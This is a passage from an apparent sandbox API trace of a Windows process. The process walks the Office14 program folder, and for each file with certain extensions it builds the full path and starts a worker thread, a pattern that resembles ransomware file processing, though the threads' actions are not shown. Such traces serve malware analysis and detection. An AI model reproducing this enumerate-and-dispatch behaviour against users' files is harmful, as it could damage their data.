cAlternateFileName="")) returned 1 [0126.812] wcscmp (_String1="MSWORD.OLB", _String2=".") returned 1 [0126.812] wcscmp (_String1="MSWORD.OLB", _String2="..") returned 1 [0126.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x20504190 [0126.813] wcscpy (in: _Dest=0x20504190, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.813] wcscat (in: _Dest=0x20504190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.813] wcscat (in: _Dest=0x20504190, _Source="MSWORD.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" [0126.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc58 [0126.814] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0126.814] wcscmp (_String1="MSYUBIN7.DLL", _String2=".") returned 1 [0126.814] wcscmp (_String1="MSYUBIN7.DLL", _String2="..") returned 1 [0126.814] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0126.814] wcscmp (_String1="MYSL.ICO", _String2=".") returned 1 [0126.814] wcscmp (_String1="MYSL.ICO", _String2="..") returned 1 [0126.814] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0126.814] wcscmp (_String1="NAME.DLL", _String2=".") returned 1 [0126.814] wcscmp (_String1="NAME.DLL", _String2="..") returned 1 [0126.814] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0126.814] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2=".") returned 1 [0126.814] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2="..") returned 1 [0126.814] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="NAMECO~1.EXE")) returned 1 [0126.814] wcscmp (_String1="NAMECONTROLSERVER.EXE", _String2=".") returned 1 [0126.814] wcscmp (_String1="NAMECONTROLSERVER.EXE", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0126.815] wcscmp (_String1="NAMEEXT.DLL", _String2=".") returned 1 [0126.815] wcscmp (_String1="NAMEEXT.DLL", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="NL7DAT~1.DLL")) returned 1 [0126.815] wcscmp (_String1="NL7Data0011.DLL", _String2=".") returned 1 [0126.815] wcscmp (_String1="NL7Data0011.DLL", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="NL7LEX~1.DLL")) returned 1 [0126.815] wcscmp (_String1="NL7Lexicons0011.DLL", _String2=".") returned 1 [0126.815] wcscmp (_String1="NL7Lexicons0011.DLL", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="NL7MOD~3.DLL")) returned 1 [0126.815] wcscmp (_String1="NL7MODELS0009.dll", _String2=".") returned 1 [0126.815] wcscmp (_String1="NL7MODELS0009.dll", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="NL7MOD~1.DLL")) returned 1 [0126.815] wcscmp (_String1="NL7MODELS000A.dll", _String2=".") returned 1 [0126.815] wcscmp (_String1="NL7MODELS000A.dll", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="NL7MOD~2.DLL")) returned 1 [0126.815] wcscmp (_String1="NL7MODELS000C.dll", _String2=".") returned 1 [0126.815] wcscmp (_String1="NL7MODELS000C.dll", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="NL7MOD~4.DLL")) returned 1 [0126.815] wcscmp (_String1="NL7Models0011.DLL", _String2=".") returned 1 [0126.815] wcscmp (_String1="NL7Models0011.DLL", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0126.815] wcscmp (_String1="NPAUTHZ.DLL", _String2=".") returned 1 [0126.815] wcscmp (_String1="NPAUTHZ.DLL", _String2="..") returned 1 [0126.815] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0126.815] wcscmp (_String1="OART.DLL", _String2=".") returned 1 [0126.815] wcscmp (_String1="OART.DLL", _String2="..") returned 1 [0126.816] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0126.816] wcscmp (_String1="OARTCONV.DLL", _String2=".") returned 1 [0126.816] wcscmp (_String1="OARTCONV.DLL", _String2="..") returned 1 [0126.816] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0126.816] wcscmp (_String1="OCRHC.DAT", _String2=".") returned 1 [0126.816] wcscmp (_String1="OCRHC.DAT", _String2="..") returned 1 [0126.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504790 [0126.816] wcscpy (in: _Dest=0x20504790, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.816] wcscat (in: _Dest=0x20504790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.816] wcscat (in: _Dest=0x20504790, _Source="OCRHC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" [0126.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54 [0126.817] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0126.817] wcscmp (_String1="OCRVC.DAT", _String2=".") returned 1 [0126.817] wcscmp (_String1="OCRVC.DAT", _String2="..") returned 1 [0126.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20505590 [0126.817] wcscpy (in: _Dest=0x20505590, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.817] wcscat (in: _Dest=0x20505590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.817] wcscat (in: _Dest=0x20505590, _Source="OCRVC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" [0126.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50 [0126.818] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0126.818] wcscmp (_String1="OEMPRINT.CAT", _String2=".") returned 1 [0126.818] wcscmp (_String1="OEMPRINT.CAT", _String2="..") returned 1 [0126.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504110 [0126.818] wcscpy (in: _Dest=0x20504110, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.819] wcscat (in: _Dest=0x20504110, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.819] wcscat (in: _Dest=0x20504110, _Source="OEMPRINT.CAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" [0126.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OFFOWC.DLL", _String2=".") returned 1 [0126.820] wcscmp (_String1="OFFOWC.DLL", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OFFRHD.DLL", _String2=".") returned 1 [0126.820] wcscmp (_String1="OFFRHD.DLL", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OFFXML.DLL", _String2=".") returned 1 [0126.820] wcscmp (_String1="OFFXML.DLL", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="ogalegit.dll", _String2=".") returned 1 [0126.820] wcscmp (_String1="ogalegit.dll", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OIMG.DLL", _String2=".") returned 1 [0126.820] wcscmp (_String1="OIMG.DLL", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OIS.EXE", _String2=".") returned 1 [0126.820] wcscmp (_String1="OIS.EXE", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OISAPP.DLL", _String2=".") returned 1 [0126.820] wcscmp (_String1="OISAPP.DLL", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="oisctrl.dll", _String2=".") returned 1 [0126.820] wcscmp (_String1="oisctrl.dll", _String2="..") returned 1 [0126.820] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0126.820] wcscmp (_String1="OISGRAPH.DLL", _String2=".") returned 1 [0126.820] wcscmp (_String1="OISGRAPH.DLL", _String2="..") returned 1 [0126.821] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0126.821] wcscmp (_String1="OLKFSTUB.DLL", _String2=".") returned 1 [0126.821] wcscmp (_String1="OLKFSTUB.DLL", _String2="..") returned 1 [0126.821] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRM.XML", cAlternateFileName="")) returned 1 [0126.821] wcscmp (_String1="OLKIRM.XML", _String2=".") returned 1 [0126.821] wcscmp (_String1="OLKIRM.XML", _String2="..") returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x20505510 [0126.821] wcscpy (in: _Dest=0x20505510, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.821] wcscat (in: _Dest=0x20505510, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.821] wcscat (in: _Dest=0x20505510, _Source="OLKIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" [0126.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48 [0126.822] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1 [0126.822] wcscmp (_String1="OLKIRMV.XML", _String2=".") returned 1 [0126.822] wcscmp (_String1="OLKIRMV.XML", _String2="..") returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20504890 [0126.822] wcscpy (in: _Dest=0x20504890, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.822] wcscat (in: _Dest=0x20504890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft 